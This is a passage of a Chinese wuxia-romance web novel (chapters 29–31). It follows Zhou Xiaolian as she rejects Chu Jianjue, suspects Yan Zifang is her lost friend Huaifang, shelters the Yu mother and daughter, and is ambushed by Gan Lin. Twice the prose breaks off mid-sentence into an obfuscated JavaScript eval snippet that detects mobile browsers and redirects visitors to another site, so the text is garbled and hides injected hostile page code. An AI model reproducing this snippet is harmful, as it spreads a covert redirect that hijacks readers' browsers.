如今看来,或许是他母亲五湖四海的朋友给了些助力。梁金玉本家的镖局也运作了好几代人,说不定,也与洗雪山庄搭上过线。 若是当年少惹几个人就好了,眼下也不必在刀风剑雨里,还抽出心思考几个人与自己的恩恩怨怨,爱恨情仇。 小怜是真有些后悔了,要不怎么说情债最难偿呢?她那时候再怎样都应该小心谨慎些的,彼时色欲熏心,如今后路上站满了人…… 周小怜也叹气,她心好累,抬手推了一把褚见珏的胸膛:“我不是不信一见钟情,你先起来吧,这像个什么样子。” “和我回京畿吧,我会娶你的,”褚见珏怔怔凝视着她,怎么说也不愿意轻易地爬起来,“小怜,我是认真的。你看,结发为夫妻,我们是天定的缘分……” 小怜听不下去了,她眼疾手快,抄起桌上的铜凤。剑刃削铁如泥,吹发可断——谁又想过有朝一日,它真的要用来斩断头发呢? 缠在一起的头发应声而断,小怜只斩断了自己的那一侧。如此一缕发丝,勾在褚见珏的头发上,飘飘荡荡,褚见珏见状,愣住了。 小怜顺势将身上的他推开,爬起来含笑道:“一缕头发而已,送你了。” “之前做的那些事情,是我对不住你。我自认自己并非良人,至于成家立业,当时只是我母亲所想,我并没那个打算。也不会为了一根头发,一夜之情,就想着把自己以后都给卖了。” 在离去之前,小怜作为认识的人,还是好心提醒了地上发呆的褚见珏一句: “唉,对了。最近外面不大太平,褚公子金尊玉贵,还是早日回京畿的好。” 29. 灵犀一念 温柔乡、琼鱼坊两处中,各人心怀鬼胎,先有施仙娥,后是苏星拂,苦了夹在中间,从没遇到过这些事情的小怜。跑来跑去,她已精疲力竭。 褚见珏没追过来,周小怜干脆在二楼随意寻了个空房睡下,许是苏星拂早已打点过了,竟一夜也未受他人惊扰。 温柔乡枕榻松软,日日熏香整理,被褥中还有股清新的甘草香。 自逃出洗雪山庄后历经诸事,心烦意乱,小怜许久没有做过梦了。 今夜难得又在梦中看见故人故地,小怜百感交集。垂柳湖畔,怀芳正出神的望着水下鱼儿游来游去,也不知在想些什么。 小怜只看见她小小一个的背影,过分安静的待在石头上,于是慢步走了过去。梦中的小怜用小孩的口吻朝她招呼道:“你怎么今天在这——啊!” 结果手还没探出去,她面前的怀芳忽如烟雾消散。毫无戒备的小怜猝不及防,竟有人从她身后,在她肩上推了一把! 小孩子溺在湖中,湖岸泥土卵石湿滑,加之她惊恐至极,哪里也抓不住。梦中的小怜鼻腔口腔进水不少,意识逐渐模糊…… 她看着岸上那张精致的、很熟悉的脸,在湖水皱起的涟漪里,竟显得然如此狰狞! 小怜满心全是不可思议,想说的话从口中吐出,在碧波间,每一个字变成一个又一个泡泡。 “为什么……这样做?” 温柔乡榻上的小怜急喘着睁开眼,身上冷汗淋漓。 “啊!” 哪曾想一睁眼,她竟然看见面前那张几乎是和梦里怀芳等比放大的脸近在咫尺。 本就是吓白的脸色愈发凄惨,神情惊惧不已。 她尖叫出声:“怀芳!” 燕紫芳忽闻此名,当机果断将手掌贴在她的眼睛上,一手遮去小怜所有视线。小怜僵成一条被晒干的鱼脯,总觉得自己身上还带着那些水腥味。 他声音沉沉冷冷,小怜鼻翼翕动,闻到她近来最熟悉的冷香。虽然不知道燕紫芳为何会出现在此,但此时此刻,竟让她莫名觉得有些安心。 只听燕紫芳笃定道:“你做噩梦了。” ……算吗? 周小怜懵懂的在心底问着自己,这个梦算是噩梦吗?不过,虽然她方才惊魂未定,眼下却也不是被捂上眼睛就好糊弄的。 怀芳和燕紫芳两张脸几乎一模一样,只有男装女装,长开和没长开的区别。 他那张脸本就精致,小怜虽然没亲眼见过他父母,但梦深深和薄公子都是江湖上出了名的美人。 私生子,死婴,身份特殊。小时候孩子们没长开,眉眼雌雄莫辨。如果是因为彼时鹭点烟汀遇到什么事情,送到洗雪山庄避灾,家里人会当女孩子养,也不是没有可能。 心念电转间,小怜几乎已将自己说服。 一阵“已死之人其实真的没死”的狂喜袭来,她忘了刚才被吓醒的事情!也不在乎为什么燕紫芳从来没有告诉她自己就是怀芳。 他一定有什么苦衷吧! 小怜殷切在心中畅想:如此一来,就连燕紫芳对自己莫名的执着和好感都能有所溯源…… 青梅竹马,许久未见。故意参加比武招亲——或者那场比武招亲说不定就是为他筹备的? 周珊瑚本就很喜欢怀芳,她莫名要把自己嫁出去,说不定就是因为怀芳来了。 周小怜伸手要扒下燕紫芳放在自己眼睛上的手,哪曾想燕紫芳捂得死紧,她甚至有些许久未见的孩子气,大嚷道:“你心虚!” 燕紫芳没说话,只静静看着她张合的唇瓣,好像有点干裂了。唇纹蜿蜒,抿入小怜的唇齿中。 此时此刻,他意外的很想给小怜倒杯茶,也许是更想从她面前逃离,回到鹭点烟汀……或者洗雪山庄。 几乎能隔着一层肉,一层皮革,想象到被手掌藏起来的小怜亮晶晶的眼睛。就像以前,她总是突然从角落或者窗户底下蹿出来,一眨不眨的看着他。 直到怀芳愿意和她出去玩,在洗雪山庄到处走走停停,讲她练剑遇到了什么难事,剑术上又有了怎样的提升…… 还有杭红真如何对她好,稚嫩的童音在他耳畔响起: “今日父亲的气色又好了一些,一定是从鹭点烟汀带来的药起了作用吧?” 燕紫芳心中一痛。 他面色不改,声线努力平静道:“我没有心虚,你说的是谁?” “除非你真的脑子被驴踢成失忆,否则我没那么好骗!你休想装不认识我,”小怜彻底咬死事实如此,根本听不进去燕紫芳半点劝慰,“你喜欢我!” “……唉,你说得对,我喜欢你。”燕紫芳顺着小怜的意思,回应她所说的话。 作为燕紫芳,他的试探从前夜问“可以叫你小怜吗?”就明晃晃。他深知小怜和四个男人之间的不清不楚,情情爱爱里,她不是一个迟钝的笨蛋。 她甚至比燕紫芳会更明白,那些笨拙的预谋下,到底都是什么意思。 可——他还是执着道:“但是,小怜姑娘。喜欢你的这个人,是燕紫芳,不是你口中的那个名字。” 他们还不能相认。 眼下不是相认的时机,燕紫芳清楚的明白这一切。 小怜既然有想要做的事情,那她就绝不该被过往绊住剑。 找杭红真是引她至韦郡寻找过去所设下的局。 可小怜现在既然想要为虞家母女争一个公道,他所要做的,就是支持着她想做的一切事情。 本来就连那点亲近的欲念,也绝不该泛起。 情之所向啊…… 小怜急得连眼泪都要飙出来了,为什么不相认?她没有怪他!怎么就是不愿意承认呢? 或者,就一点点,这点怨恨真的微乎其微。 因为是怀芳,他是她这一辈子最愧疚的人。只要他说是有苦衷,或者不说,只要告诉自己他就是怀芳,自己都会原谅他! 怀芳就是她人生中唯一的例外,唯一的,问心有愧。 “你骗我,你还在怪我。”周小怜泪眼盈盈,她想起那些隔雾探花般朦胧的过往,语调里不知不觉都带上哭腔。 她几乎是悲伤道:“我那晚真的只是睡了一小会儿,我守了你三天三夜,只是一小会儿,你就消失不见了……我疯了一样的找你,可毒婆婆说你死了,烧成灰了!” “我不信,我说要把你挖出来。我娘看我像疯了一样,把我的骨头都打断了——” 小怜记得清清楚楚,那年才刚入秋,怀芳突然生了一场大病。庄里请来的赤脚大夫怎么查也查不出,周珊瑚也不管怀芳…… 咦? 周小怜呼吸一滞。 她足够聪明,意识得到自己说的话里有什么不对劲的地方。 不对。 周珊瑚向来最喜欢怀芳,怎么会不管她的死活?怀芳难道不是生一场旷日持久的重病,而是不治而亡的急症? 眼泪倏地止住,有什么一直以来,周小怜理所当然以为的东西是对不上的。 她的脑子不会真的有什么问题吧? 就在这一小会儿,周小怜胸口起伏缓缓变得急促起来。 燕紫芳适时松开了手,小怜半阖眼,并未被突如其来的光亮刺中眼睛。 窗边布帘早已被燕紫芳放下,木窗格外天光正好,只照出浅浅的暖色。整座室内幽光昏暗,两人刚好能看见彼此。 小怜不愿接受自己记忆有问题的事实。她嘴里含糊不清地喃喃着,眼神无法定聚在一处:“怀芳就是,被我还有大家害死了的……” “洗雪山庄和我、欠、欠她……命,我没记错,没记错……” 恍惚间,小怜只感受到一种撕心裂肺的疼痛在她脑袋和身体里炸开。 越是回想过去的事情,越是什么都捉不住,看不到。周小怜手忙脚乱地抱住这一夜靠在她旁边的铜凤剑,剑上还残留着些许温度。 这把剑她是熟悉的,周围的一切也还是熟悉的。可最让人难以接受的,是自己的身体和记忆,小怜觉得陌生。 本能也好,直觉也好,如果她脑海里所有关于过去的记忆都是假的——那洗雪山庄又算什么?周珊瑚甚至有可能不是她娘! 庄子里的那些人,对一个疯子一样的周小怜不好,是正常的…… 周小怜神情迷惘。别人恨她有理有据,是她亏欠在先;她恨别人竟没头没脑,甚至多年来连吃带拿,没有半点感恩戴德。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362304|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燕紫芳一只手撑在她蜷起来的,弯月似的身体内侧。 小怜想的、做的、稀里糊涂的已经够久,他等不及吗?也并非全是如此。六年远比这一瞬长久,他只是担心小怜胡思乱想,慧极必伤。 狐狸太聪明,容易把脑子烧坏。 “别想太多了。”燕紫芳俯下身体,一片蛇一样的阴影迁挪游上,温吞拢住惊慌失措的小怜,她终于又舍出来一点眼神。 燕紫芳没有再逼近些许,只是以一种相当寻常且温馨的姿态靠在小怜身边,好似两人真做了夫妻一般亲密无间:“没有人在怪你,你说得太多,想得也太多,眉头皱成一团了。” 他指头揉开少女郁结的眉团,周小怜啜泣道:“我脑子有问题。” 燕紫芳轻声细语的安慰她:“怎么会呢?狐狸脑袋没问题,聪明得很。快些起来吧,你在意的人还在等你。” 周小怜顺着他的话想起在意的人,从前到现在,无非是周珊瑚、周汀情和怀芳。三个……两个女人一个男人里,现在可能两个人和她没关系,一个人死也不认她!谁等了? 小怜又嚎啕:“我以后都没地去了!跑出来一次,我发现自己脑子有问题也就算了,哪有说、哪有说发现自己家不是自己家,自己娘不是自己娘的!” 燕紫芳还在耐心的哄她……到也不全是哄,这句全是因为他没良心:“小芽儿和虞娘子还等着你去帮帮她们,不要哭了。况且,倘若你之后没地方去了,也可以跟我回鹭点烟汀?” 他那点把狐狸骗回家里的心思昭然若揭,可真巧,小怜正是没工夫揭穿他这点坏心思的时候。 周小怜呜呜咽咽,好不可怜。听见他这句话,眼泪又缓缓收住,小芽儿那张楚楚可怜的脸浮现在她眼前。 小怜乱糟糟的心思被燕紫芳一点点理开,想来解毛线团,应该燕紫芳比较擅长。 周小怜攥着铜凤,燕紫芳仔细帮她抹了抹眼角的眼泪,又让开些位置,轻轻扶住她肩膀起身。 都第几次了?他现在已经擦小怜的脸蛋擦的得心应手。 周小怜坐在榻上出神的想:燕紫芳说得对,小芽儿还在等着她。现在这时候困于情情爱爱……爱恨情仇,像什么样子!命和那点感情——还有自己那个说不清道不明的身世过去,还是别人的命更重要一些。 燕紫芳不认,日后还有千百种办法让他认;周珊瑚或许事出有因,待韦郡之事了结后,她大可以拿着开了的匣子和这桩功绩挟恩图报……好像不该这么说。 反正,就是等结束。虞雪海和虞雪芽能安定了,天下不会大乱了,洗雪山庄也没事的时候,就可以问周珊瑚关于自己的事情了。 万一她真的不是周家的女儿…… 那还了剑,还了衣裙,她大不了就是去做工还债。 脑子坏了就坏了吧,自己现在也不是个傻子。 周小怜有手有脚聪明机灵八面玲珑,还有洗雪山庄的武功傍身,自力更生一定不在话下!日后还完了债,清清白白的离开洗雪山庄,再去遨游一下江湖! 小怜捏了捏拳头,又默默地已将自己说服。 她背好铜凤剑,伸手拍了拍燕紫芳的肩膀,眼睛里全无先前的迷惘失落——甚至精神的过了头! 燕紫芳眼下要是不想承认身份就算了,苦不苦衷的再说吧。 她是有点对于男女绮念的执着。在周小怜看来,从前招惹的四男无论条件如何,都是不适合与她长相厮守的。 但话又说回来,小怜的观念里,怀芳是可以一直在一起的。 怀芳可以,那燕紫芳也可以。 只是在这件事上的前提很明确,燕紫芳必须是怀芳。 如果燕紫芳死活不肯认他就是怀芳的话…… 反正要是做不了什么青梅竹马天作之合的夫妻,他们还能做世界上最亲密无间的兄弟啊! 周小怜豁然开朗的有些超过了。 她恳切地看着燕紫芳,感激道:“好兄弟,多谢你。我现在已经完全想开了,你说得对,小芽儿还在等我给她和她娘报仇。” “韦郡这么乱,怎么说也得救人救到底,送佛送到西。先不提这些事情了,回城郊吧。想一想之后怎么办……” 30. 系蛛丝 结果直到小怜与燕紫芳两人出了温柔乡,乌兆星还是没有出现。 将他们两人送出来的歌女正是昨夜台上弹琵琶的娘子,她似乎颇受苏星拂的重用。琵琶弹到丑时才结束,辰时一刻又来照顾他们一行人……琵琶娘子自然没什么好脸色。 不过离开温柔乡之前,是她给小怜裹好了肩膀上的伤,又忙上忙下的帮她找合身的衣裙。 琵琶娘子姓孟,名叫灯铃,似乎是从更南边一个名门望族来的。 小怜没问她更多,最南边姓孟的都不好惹,此事是江湖公知。 若非得由神光斋出手才能保的下她,那琵琶娘子八九不离十,从前是那条爱养鸟的姓孟的疯狗手底下的人。 孟灯铃包扎的手法和她弹琵琶的技巧差不多娴熟,小怜手掌心的伤已好了大概。肩上的伤虽然严重,但不知为什么,一夜也没怎么疼。 抹了些药膏,今日已经差不多能行动自如了。 孟灯铃站在温柔乡门槛后,温柔乡白日不接客,她这会儿没抱着琵琶。眼睛盯着小怜盯了半天,小怜都发毛了,只见她终于伸手给小怜理了理衣襟。 她找的这件鹅黄色的衣裳衬得小怜气血足,面色健康。形制寻常不夸张,只有些许莲花状的暗纹绣在底部。 孟灯铃低着头,眼珠转了一圈,夹在两人间轻轻说:“我觉得你们俩郎有情妾有意的,好好的两个小孩,听姐姐一句劝,你们玩不过这群人精的。还是快跑吧。” “嗯?”小怜抬眼看见楼梯上朝她笑笑的褚见珏,微微蹙眉,“怎么突然这么……” 孟灯铃猛拽了一下小怜衣襟,力气大到让小怜一趔趄,耳朵凑到她嘴唇底下:“神光斋要名声,从不卖假消息给来客。但韦郡事出有因,温柔乡这儿几十条命都受人挟制。苏星拂自知理亏,过意不去,叫我来给你们提个醒。” 周小怜:…… 周小怜:?! 所以说,苏星拂昨夜说的消息中,有骗他们的? 小怜脑中想得飞快:三条消息,辛慎一事上她没必要骗自己;鹭点烟汀的事情身边有燕紫芳在,苏星拂骗不过他。 唯有与烧香天背后之人有关的消息,才有可能害了他们两人。温柔乡在韦郡有难处,烧香天在韦郡一手遮天……神光斋鞭长莫及,就连苏星拂也要看这儿的眼色。 孟灯铃松了手,倾倒的身子又正了一些,半遮住小怜眼神:“烧香天上面的那几个都恨你们,小施输给周大小姐才被换了脸,她怎么会好心帮你?” “她连她自己的命都保不住,更不要说指望你去拦住那些人。她想和烧香天玉石俱焚,死也要拖你一起死。” 褚见珏已慢慢走了过来,步步逼近。 孟灯铃松开手,最后抛下一句:“而且,就连上面派来的那位都被他们关住了。” 小怜不由自主地想起了前两日才见过一面的阮真棋。 她直愣愣看着褚见珏弯弯的眉眼,眼睛一眨也不眨。施仙娥是怎样想的,她不在乎。 孟灯铃这么一说,周小怜反而能断定,施仙娥所言非虚。今日孟灯铃是代表了苏星拂的意思来,她们越是这么劝她,她越明白如今的局势严峻,已容不得她轻易抽身离去。 若是走,来日韦郡倾倒,天下大乱,不日洗雪山庄也会化作一片废墟。 小怜执拗地,轻声且快速道:“苏坊主有愧于我,我有事求神光斋。申时一刻城郊过安水村,西北侧有处山坡,坡上开满黄花,帮我收留一对母女。” 如今、过去、现在。 身在韦郡的幕后之人是谁? 孟灯铃眼见没说动小怜,这下只能想也不想便答应她:“好说,我来护着。” 褚见珏伸手,他靠近,小怜看见他鬓发上多出来一条青色的发带,贴在脸颊旁,编着细细的一条麻花辫。 他勾住小怜的手指,也不顾身边还有孟灯铃与燕紫芳,行云流水的撒娇道:“小怜,昨夜你同我交心相谈之后,我想了很多……我知你心中担忧,想必你这样风流的江湖儿女,如今在韦郡来来往往,一定有什么要紧的事情要做。” 褚见珏表现得情真意切,他真挚,面上又有几分怅然,落寞道:“虽说我并非江湖中人,你对我也并无……但我与你,始终有一段情分在。” “至少如今你若是有什么缺人手的事情,我也愿意为你做个壮丁,帮上一二!” 是他吗? 周小怜对于面前过分殷勤,但身份过于明显的褚见珏,猜忌已攀至顶点。 自琼鱼坊一面,再到现在与孟灯铃的相谈。周小怜若想要确认此人是否正如她心中所想那般,还有一条最危险,也最便利的路可走。 白捡的助手,大多时候不用白不用。乌兆星离开了,甘霖要杀燕紫芳,褚见珏若想帮忙,尽管来吧。 她见招拆招。 “好啊,我的确有一事要做,正缺些门路。褚公子有个好叔叔在韦郡是吗?我有位朋友病重,正需要一名可靠的大夫为她看诊。” 小怜莞尔一笑,继续道:“我想劳烦褚公子,为我寻一名女医来。” 于是两个时辰后,城郊虞家,众人齐聚虞雪海榻前。 山坡上的荷花香散的一干二净。女医坐在榻上的帷帐内,为昏迷不醒的虞雪海细细把过脉,看过身上的伤情,向周小怜与褚见珏不动声色地摇摇头。 虞雪芽和燕紫芳正在外头煎药。 燕紫芳那日喂过虞雪海血,后来又写了一副吊着命的药,方才在城中找女医,小怜两人正好取了药材回来。 “气血亏空,肌肤溃烂都是小事。然心智有损,郁结难解,忧劳伤心多年……若想回到从前,难如登青天啊。”女医叹了口气,朝他们几人拱手作揖:“我能开一副药方为夫人调养身体,至于清醒与否,都要看夫人自己的造化了。” 如此诊断结果,小怜早有预期。她向女医点点头,客气道:“有劳了。” 女医写下方子后,从褚见珏手里领了赏金便背着药匣离去。屋内只剩小怜、褚见珏和虞雪海, 周小怜坐到榻边,看着虞雪海恬静睡颜,感慨千千万。 褚见珏搬来一个板凳,在周小怜身边坐下:“你这段时间在韦郡,是为了她们母女吗?” “不全是,”小怜半垂着头,从怀中取出那只小巧的木匣,只比她手掌大一些,四四方方:“我是为了打开这个匣子。” 说着这句话的时候,小怜余光瞥着褚见珏的神态,嘴上像个没把门的毛头小子:“这是个很重要的匣子,我娘让我带出来,看看有没有什么方法打开。” 到这一步,小怜开始胡诌起来:“我娘说,这是我爹留下的匣子。但是我爹很早以前就不见了,我便想着来这里找找他的线索。” “找到了吗?”褚见珏心不在焉地问。 小怜苦恼道:“没有。只知道他也没回过韦郡……倒是他以前住过的地方有一个匣子与这匣子做工差不多。后来问过里头的人,才知道是这家妇人的父亲做的。 “只是她父亲早些年去了,她这些年疯了,只留下个小娃娃,”手掌覆在那只匣子上,小怜看着褚见珏,沉声道,“她丈夫从前在琼鱼坊嗜赌成性,我想着为她找琼鱼坊的麻烦,报了仇,说不定就能治好病。结果怎么也没找着人,遇上了你。” “原来是这样……” 也不知道褚见珏信了多少自己所说的话,不过信或者不信,那些都不太重要。 小怜把什么都告诉面前的褚见珏,包括几乎没人知道的匣子。她让自己看上去好像真没什么防人之心——如果真的是他……如果真的是他,一切就真的变得简单了吗? 手指扣紧了膝上的匣子,指节都止不住在泛白。小怜道:“时候也不早了,不如你送女医回去吧。这里房间少的很,也不方便招待你。” 褚见珏有些不舍,他伸手覆住小怜捧着匣子的手背,抓痕虽然已经结痂,但眼看十分狰狞:“你留在这里吗?那他呢?” “那边的村子里有一户人家有空屋,我们前几日来的时候,就租了几天,”不必提到燕紫芳的名字,小怜都猜得到阮真棋在说谁:“他过去睡,不在这儿。不方便。” 周小怜话说的圆滑,滴水不漏。褚见珏到底金尊玉贵,定然不愿在这里凑合一晚上。 听得燕紫芳也没什么与小怜亲近的机会,褚见珏便放下心来了,他倒是不管真假:“那,我明日再来看你。你明日还进城吗?” 小怜起身随他走出房门,柔声道:“我也不知道。” 远眺目送褚见珏与女医离开,方才一直在院中煎药,不见人影的小芽儿倒是松了口气:“奇怪,看见这个人,我心里头不舒服的很。” 小怜有些走神,被小芽儿这样一句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362305|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉了回来,她想安慰下小女孩。人走过去,顺手摸了摸她的头:“他是我一个朋友,没什么别的。小小年纪,心里别有太多事,我找人今天你带你和你娘去城里住。” 想到孟灯铃和温柔乡里其他那些姑娘们,小怜也不知道到底可不可以完全信赖托付于神光斋。但骗了她们一次,为了神光斋的名声,也不能骗第二次吧? “虽说也算不上我太相信的地方,但总比这儿安全些。去了坊里,你一定要机灵些,照顾好自己,”小怜一点点嘱托,依依不舍地捧着小芽儿的脸颊。 或许报仇不成,她也会死在这里。若是神光斋能在乱世中收留母女,也算是好事一桩吧……性命攸关,周小怜萌生怯意;世事如棋,她身在局中,又如何能退? 小芽儿心中尤有疑惑惶恐,可见周小怜如此愁眉不展,就连她也不自觉地,压下了那点说不出的不安。 孟灯铃来得准时,申时一刻,她亲身驾着马车来接走了虞家母女。琵琶娘子带了两个侍女,温声细语地哄着小芽儿,扶着她娘亲上了马车坐好。 一切安排妥当,孟灯铃也不急着离开,她深深看着小怜,撇嘴评价道:“你好犟的脾气。” 小怜肩膀抽动,笑了几声:“烧香天恨洗雪山庄恨得人尽皆知。我又不姓孟,来了这里,还由得我选走或不走吗?” 孟灯铃来这是配了鞭的。腰间一根铁鞭,银刺挂满寒星,小怜都不敢想这有多重,挨了一鞭的人,一定会皮开肉绽,断骨碎肌。 孟灯铃听她这么揶揄,倒也大方得很:“你也可以改姓,简单得很。孟山寻那个疯子手底下很缺人,只要一张投名状进去了,再想从古刹山里出来,可就要扒皮抽筋。” “神光斋怎么会收留你呢?”听孟灯铃这样说,小怜才真确认了她的出身。 古刹山孟氏,规矩多如牛毛,礼教严苛,和一个小皇宫没什么区别。高压之下,身在其中的人活得相当扭曲。 血洗剑,骨做鼓,人养花,鸟裁翅。 不过这一代的家主本该是早已露过面,一个眼睛长得像小狗一样,很是稚嫩乖巧的女孩。小怜前几年听周珊瑚提过,好像名字叫什么“会鸢”。 后来也不知发生了些什么,江湖只听说古刹山上血流了三天三夜。自那之后,孟氏台前的家主变了人,成了会鸢的亲哥哥孟山寻。 孟灯铃耸耸肩:“我值得神光斋收留嘛。能从古刹山活着出来的人不多,你就不好奇鸢鸢小姐和她亲哥哥孟山寻的事情?” 周小怜诚恳道:“……没胆子听。” 孟灯铃拍着她的肩膀笑,说话也不自觉带上些匪气:“哈哈,我也没胆子说!哎呀不讲他们了,背后冒冷汗了。反正这两个女人我帮你照顾好,你就加油活着吧。” 孟灯铃也策马离去,这从早到晚一直人来人往的小院里终于没了动静。燕紫芳按照小怜的安排,刚布置好了屋里头的东西,这会儿正走到小怜身旁。 周小怜收回视线,默默与他对望:“其实我不希望是褚见珏。” “就像他说的,我们之间至少还有一些情分在。况且像他这样身世显赫的人,我只要一步走错,就臭名昭著了。”小怜攥紧了手中的铜凤,喃喃道: “但如果是他,我们就不必像无头苍蝇一样等着人找上门来。或不声不响间,就已经被烧香天捏住命脉。” 小怜的私心很简单,也很天真:她不想这件事情与这四个男人有任何关系,这样最好,不必小怜总是感觉为难。 毕竟她在江湖上游荡的时间,不过是短短的几个月,还过得太舒服,没吃过什么苦头。 周小怜自知自己实则没做好手刃这些人的准备,而且对于甘霖他们,她总是愧疚过多。若非危及燕紫芳的性命,她昨夜也不会与甘霖刀剑相向,搏命一争。 她只打算在这里演上三天。若是三天之后,对方还没有什么动作,小怜便不会继续浪费时间。她打算撇下燕紫芳,孤身一人杀入烧香天内。 最差,也就是和施仙娥所想的一样。 她要拖自己下水一起死,小怜也伸手努努力,拖着烧香天一起死。 燕紫芳只道:“那个小孩,有一句话说得很对……你心太软了。” 真的吗? 小怜没有回答燕紫芳说的话,只是抬头看向天际。 乌夜中,月色幽娴,无风无云。 31. 无情还似多情 是夜,各回各房。 燕紫芳方才为她重新铺了被褥,又多挂了几层帷帐。小怜剪烛歇下,手将好压在铜凤剑剑柄上,剑藏在靠内贴墙的一侧。若非靠近细观,如今榻上只依稀看得出躺着具女子身体,与虞雪海身段相差不大。 小怜阖目调息,呼吸虽与寻常人家无异,体内却别有洞天。 她正暗自以洗雪心法调理经脉,真气流转畅通无阻,气血也充盈丰沛——燕紫芳舔的那一下真这么有用吗? 昨夜一战到底伤及她身体根本。燕紫芳身为药人能当药材使,医骨肉解百毒也就算了,周小怜丹田亏空非一时之事,这竟然能治。 她心法运转耗费真气数属磅礴,身体没有半点不适。 苏星拂说药人全身上下都是奇珍异宝的确不假……小怜盯着墙看,这会儿冷静下来了,她想到怀芳突然变成了燕紫芳,心里发酸。 倒也不是因为想他这几年过得有多苦。 主要是谁能猜得到,从小要好的女孩长大了会变成男人啊? 若不是怀芳在她眼中是死而复生,周小怜眼下扪心自问,是断然不能接受这样可怕的事情的。 况且那时候想着自己能接受与他成婚,也只是无可奈何的情况下——譬如被周珊瑚和周汀情逼婚,逃无可逃。相比陌生人,自然是熟悉的人比较好;相比甘霖一干人等,自然是怀芳比较好。 这样想来,她甚至被燕紫芳的感情烫到了一下。 还好他没认自己是怀芳,要不然只怕两人接下来是没法相处的。 周小怜指腹按在铜凤温凉的剑鞘上,相当迟钝地想:其实不行,燕紫芳千千万万不能是怀芳。 因为怀芳是认识的好朋友,所以她更不能对我有……有那种感情。 这三夜小怜要扮虞雪海,不能睡熟。此时一人独处,她晃晃脑袋,想好的,说好的,不再点击情情爱爱,躺下时却又顺其自然的想着。 不行,不能这样。 她要把怀芳和燕紫芳打包扔出自己的脑海中。 不能再想怀芳变成男人的事情! 房檐上传来窸窸窣窣的轻响,像是狸奴的脚步,踩在一片瓦砾上。 小怜摈弃杂念,强迫自己将心思转到已经发生,知道的事情上。 比如苏星拂与施仙娥两女都有提到的四目玉佛。 尧舜二帝功在千秋。眼下时值战乱,施仙娥意指韦郡幕后之人所作所为皆为谋反,如此解“两目窥尧舜”,应当是讲有人盯上了京畿那位皇帝屁股底下的位置。 至于另一句探人间,又不明不白了。 不过施仙娥先前也提过一句“黄金台的断颈佛”。佛法自然奥妙,小怜从未对此有所涉猎,只有小时候在洗雪山庄没事敲敲捡来的木鱼。她是不懂这些,在小怜认识的人里,最懂这些的人当然还是阮真棋。 孟灯铃说上面来的人被关住了,十有八九讲得就是阮真棋。难道和自己分开没多久,他就落了套了? 也不知这人又是怎么一回事。 无论如何,毕竟身处韦郡,黄金台她总是知道的。 琼鱼坊、温柔乡、烧香天,四个地方她原本知道三个,来了之后去了两个,只剩下一个黄金台。 这黄金台有个轶闻流传甚广,小怜之前入世时听过,说是位处韦郡郡南的佛寺,原身是什么山匪剃了度,为了赎罪才建的。 昔年山匪梦中受菩萨点拨,醒来后四大皆空。山匪头目用大刀刮去头发,携兄弟建了无名陋寺,化缘为生。 此人百年后成了高僧坐化,肉身炼成舍利,供奉于寺中香案上。后来听说无论求什么,都很是灵验。 有人得偿所愿后,捐了一大笔钱给这座佛寺。寺内借此机会,得以修缮一番。 寺中高台楼阁,水色轮转,万千千缕菊丝半垂,光下远看如金屑洋洋洒洒,彼时有香客称此景:“紫烟妆琅华,菊露艳西风。” 寺内菊花开得盛似金波,后来便有了“黄金台”这样一个诨名。 寺中有佛是常事,菩萨千手千眼。可一个断颈的四眼佛首,双目觊觎着帝位,便是起了贪心贪念。如此大不敬的邪物,真被供奉在黄金台内吗? 黄金台能在韦郡混的风生水起,背后自然也不会太干净。但藏一尊这样的佛像在佛寺,已是天大的亵渎之举,信者讲轮回无常,天道自有报应。 这些藏佛的信教之人难道就不怕报应吗? 还是说这只是一个象征?小怜有些稀里糊涂。断颈佛首这样的东西,总不能是没见过,空口就能说出来的。 明日,还是要进城去找施仙娥问清楚。 周小怜在心底做好安排,深吸一口气,正想凝神静心的时候,脖颈上却传来一阵凉意。 不是任何一把兵器。 而是人的吐息。 湿冷且绵长,像蛇的爬行,细细缠绕住了小怜露出的颈侧。 周小怜很想发抖,但忍住了。 然后,一只冷冷的手,也贴在她的脖子上。 用了很轻,很轻的力气捏着脖子上的那一小块肉,仿佛是在对待一件易碎的瓷瓶。但却又不肯放过那一小块肉,一直捏,直到那块地方发红,发烫。 那个人哼出一声轻轻的,暧昧的笑声。 他俯下身,几乎圈住小怜,可手死死按在她放在铜凤的手上,其意味不言而明:“哪有这样装睡的傻子。” 这个人声音很好听,落在耳中,像一场雨露。 如果是褚见珏,他武功不高,会让他人代劳也是正常的事情。小怜想过最坏的情况,也就是烧香天的香主来杀她灭口夺匣。 可她没想过,来的会是熟人,认识的人。 有过牵绊的人。 她嘴唇嗫喏,像是被黏住了,舌头怎么动怎么也撬不开一点,周小怜说不出任何一句话。 甘霖亲亲她的耳垂,又用脸颊蹭着小怜的脸颊:“真狠心,也真聪明啊……他与你也有一段露水情缘,怎么才见过一面,就试探到他身上了呢?小怜,褚见珏深受打击呢。” 甘霖轻飘飘的挑明了小怜的猜忌,继续装下去已经毫无意义了。 况且自己已经深陷怀疑的泥沼,自然乐见褚见珏与自己一样被自己钉死。 甘霖和褚见珏是一边的人。 所以他在温柔乡出现,所以他要杀燕紫芳。 根本没有什么误会,一定要说的话,那就是周小怜误会了甘霖。 甘霖知道她没睡着,周小怜上一次从他身边逃开,同样的错又怎么会犯第二次? 